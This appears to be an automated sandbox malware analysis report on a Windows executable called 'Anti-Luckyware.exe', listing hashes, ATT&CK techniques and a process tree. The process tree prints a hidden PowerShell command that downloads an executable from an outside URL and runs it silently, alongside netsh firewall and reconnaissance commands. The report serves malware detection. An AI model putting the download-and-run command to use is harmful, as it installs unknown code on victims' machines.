3d82ade81c5f96624f3a11a742d4599c4760a1456207295f5c8e445c277c191c

Analysis

max time kernel
149s
max time network
93s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/06/2026, 22:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Anti-Luckyware.exe
Size 134KB
Sample260620-2f9e4sh15j
SHA256 3d82ade81c5f96624f3a11a742d4599c4760a1456207295f5c8e445c277c191c
MD5 bf6caddd990c748e596ac26785df0374
SHA1 f51560365e55fbc223f6a3f076ddad5ee71815fa
SHA512 94d5726bc8f6e7da1b8bba9d0a5b74b572a61d74f9dda8c179c874dda58b6ef8a978b14b46aa0c97349d96f6206410c30b939a0c37c1fb8bd9127e01080f76aa
SSDEEP 1536:aXAiq0+Rvi0VVJPMwxcvkB7CKk10wuu4ZZr7PPH4yFdb8twIcNuAwz+RLTd5:w/APMwt7Cx6wOZZrLYyFdb8twIKws/d
TLSH
T1F6D32A1DB95910B5C19AD4B9CA831902FB337C8A4775A7DF47819AF60F226D0FF3AA01
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
436	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Anti-Luckyware.exe

Modifies Windows Firewall 2 TTPs 6 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4980	netsh.exe
2020	netsh.exe
1164	netsh.exe
5804	netsh.exe
4872	netsh.exe
2780	netsh.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 18 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Connections Discovery 1 TTPs 2 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
1132	NETSTAT.EXE
688	cmd.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1132	NETSTAT.EXE
4512	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3568	Anti-Luckyware.exe
3568	Anti-Luckyware.exe
436	powershell.exe
436	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	436	powershell.exe
Token: SeDebugPrivilege	1132	NETSTAT.EXE

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 3568 wrote to memory of 1904	3568	Anti-Luckyware.exe	89
PID 1904 wrote to memory of 3608	1904	cmd.exe	90
PID 3608 wrote to memory of 436	3608	cmd.exe	92
PID 3568 wrote to memory of 4000	3568	Anti-Luckyware.exe	93
PID 4000 wrote to memory of 5088	4000	cmd.exe	94
PID 3568 wrote to memory of 688	3568	Anti-Luckyware.exe	95
PID 688 wrote to memory of 1132	688	cmd.exe	96
PID 3568 wrote to memory of 5800	3568	Anti-Luckyware.exe	97
PID 5800 wrote to memory of 4980	5800	cmd.exe	98
PID 3568 wrote to memory of 2884	3568	Anti-Luckyware.exe	99
PID 2884 wrote to memory of 2020	2884	cmd.exe	100
PID 3568 wrote to memory of 2468	3568	Anti-Luckyware.exe	101
PID 2468 wrote to memory of 1164	2468	cmd.exe	102
PID 3568 wrote to memory of 5444	3568	Anti-Luckyware.exe	103
PID 5444 wrote to memory of 5804	5444	cmd.exe	104
PID 3568 wrote to memory of 4240	3568	Anti-Luckyware.exe	105
PID 4240 wrote to memory of 4872	4240	cmd.exe	106
PID 3568 wrote to memory of 5256	3568	Anti-Luckyware.exe	107
PID 5256 wrote to memory of 2780	5256	cmd.exe	108
PID 3568 wrote to memory of 1108	3568	Anti-Luckyware.exe	109
PID 1108 wrote to memory of 4512	1108	cmd.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Anti-Luckyware.exe
"C:\Users\Admin\AppData\Local\Temp\Anti-Luckyware.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK677699.exe; Start-Process -FilePath $env:TEMP\BK677699.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK677699.exe; Start-Process -FilePath $env:TEMP\BK677699.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK677699.exe; Start-Process -FilePath $env:TEMP\BK677699.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /query /fo LIST /v > "C:\Users\Admin\AppData\Local\Temp\alw_tmp.txt" 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\system32\schtasks.exe
    schtasks /query /fo LIST /v
    3⤵
    PID:5088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netstat -ano > "C:\Users\Admin\AppData\Local\Temp\alw_tmp.txt" 2>&1
  2⤵
  - System Network Connections Discovery
  - Suspicious use of WriteProcessMemory
  PID:688
- - C:\Windows\system32\NETSTAT.EXE
    netstat -ano
    3⤵
    - System Network Connections Discovery
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:1132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall show rule name="AntiLuckyWare_Block_91.92.243.218" > "C:\Users\Admin\AppData\Local\Temp\alw_tmp.txt" 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5800
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall show rule name="AntiLuckyWare_Block_91.92.243.218"
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AntiLuckyWare_Block_91.92.243.218_out" dir=out action=block remoteip=91.92.243.218 enable=yes >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="AntiLuckyWare_Block_91.92.243.218_out" dir=out action=block remoteip=91.92.243.218 enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AntiLuckyWare_Block_91.92.243.218_in" dir=in action=block remoteip=91.92.243.218 enable=yes >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="AntiLuckyWare_Block_91.92.243.218_in" dir=in action=block remoteip=91.92.243.218 enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall show rule name="AntiLuckyWare_Block_188.114.96.11" > "C:\Users\Admin\AppData\Local\Temp\alw_tmp.txt" 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5444
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall show rule name="AntiLuckyWare_Block_188.114.96.11"
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AntiLuckyWare_Block_188.114.96.11_out" dir=out action=block remoteip=188.114.96.11 enable=yes >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4240
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="AntiLuckyWare_Block_188.114.96.11_out" dir=out action=block remoteip=188.114.96.11 enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AntiLuckyWare_Block_188.114.96.11_in" dir=in action=block remoteip=188.114.96.11 enable=yes >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5256
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="AntiLuckyWare_Block_188.114.96.11_in" dir=in action=block remoteip=188.114.96.11 enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ipconfig /flushdns >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\system32\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:4512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

alw_tmp.txt

Path C:\Users\Admin\AppData\Local\Temp\alw_tmp.txt
Size 4KB
SHA256 bededb7d52060cb876bf26a6465c405c60d27c85d4e2a2db8c6f24ef3b7f126a
MD5 d59649bc772035f0e9518ccbce24e691
SHA1 6201017bb98875b7eab49ca6dcd657e7bcdb5303
SHA512 84cd81148ae1e7f3c321602e7456991f36e20ce66d821fb9bf2772718e0f22afbe08fb645c288276e558ec3e035cbfe575b276763b1f0f3d4b5b47c1291744b1
SSDEEP 96:01RCVxXmhuK8idQSrzCo/ZdJE7Ec46nTh6hVrEVZEVsVWV2:mCVhmhuK8idQSrzCo/ZJ2syU2
TLSH
T15791F092266C368971BECB62992DC952D4AD86D26C1F145CB13E1EC1C32D71DBFCE12C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

alw_tmp.txt

Path C:\Users\Admin\AppData\Local\Temp\alw_tmp.txt
Size 44B
SHA256 77429fff9c65f96bc190c4c14916423f0196a2a570970a095285364743172af4
MD5 656d246c6ce9a47f07ec793b6bb27f07
SHA1 0c098838274f64dbb02500a68b855e6703dddaf1
SHA512 9e47c89948cf63770f5e59b793b8625364c9f9b679b80b9cd821abc9866c0bc23608aeee9794ac45e547ff11bbd47da7bda640d72218507ee2fa9382a9419476
MD5 SHA1 SHA512

Submit Download

alw_tmp.txt

Path C:\Users\Admin\AppData\Local\Temp\alw_tmp.txt
Size 26KB
SHA256 32588232419063b53540e672cb1c72c05c9341afd48aba72906fe0025d340064
MD5 d21fef6904b3bad222eb77c387d55ae6
SHA1 692b7178558f7ad9ad80c85fbae4821961119bb5
SHA512 50fea1d912a19322a19f9e021d9039ebb1070e9a842bc753db06c5847dde39704e5345c92ded12c9db07ac9fcfb200a87dbe70a58cceda58a6ed23b6807a373f
SSDEEP 192:3kA+vF+2SPjFSv3yS+FFGyS+FFGys+qFrIy9+iFGy9+iFGy9+iFGy9+iFGy9+iFD:LDMdzBllllcTDDnD0DYw
TLSH
T1E6C2A07A42056131DF6851FAFA61DB427E22A152A3761635388C3228135F3DDDBB8B3E
MD5 SHA1 SHA512 SSDEEP TLSH